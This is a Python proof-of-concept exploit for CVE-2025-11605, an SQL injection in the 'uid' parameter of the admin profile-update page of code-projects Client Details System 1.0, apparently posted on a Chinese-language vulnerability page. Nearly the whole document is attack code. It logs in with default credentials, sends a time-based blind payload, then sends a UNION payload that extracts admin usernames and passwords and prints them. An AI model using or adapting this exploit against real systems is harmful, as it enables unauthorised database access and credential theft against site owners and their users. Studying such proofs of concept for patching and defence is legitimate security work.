CVE-2025-11605：Client Details System SQL注入漏洞

# CVE-2025-11605 - Client Details System SQL Injection PoC # Vulnerability: SQL Injection via 'uid' parameter in /admin/update-profile.php # Affected: code-projects Client Details System 1.0 import requests TARGET_URL = "http://target.com" LOGIN_URL = f"{TARGET_URL}/admin/login.php" UPDATE_URL = f"{TARGET_URL}/admin/update-profile.php" # Step 1: Authenticate with low-privilege credentials session = requests.Session() login_data = { "username": "admin", "password": "password", "submit": "Login" } session.post(LOGIN_URL, data=login_data) # Step 2: Craft SQL injection payload for 'uid' parameter # Example: Time-based blind SQL injection payload sql_payload = "1' AND SLEEP(5)-- -" # Step 3: Send malicious request to vulnerable endpoint update_data = { "uid": sql_payload, "name": "test", "email": "[email protected]", "submit": "Update" } response = session.post(UPDATE_URL, data=update_data) # Step 4: Analyze response for data extraction # Using UNION-based injection to extract data union_payload = "1' UNION SELECT 1,username,password,4 FROM admin-- -" update_data["uid"] = union_payload response = session.post(UPDATE_URL, data=update_data) if response.status_code == 200: print("[+] SQL Injection successful!") print(response.text) else: print("[-] Exploit failed")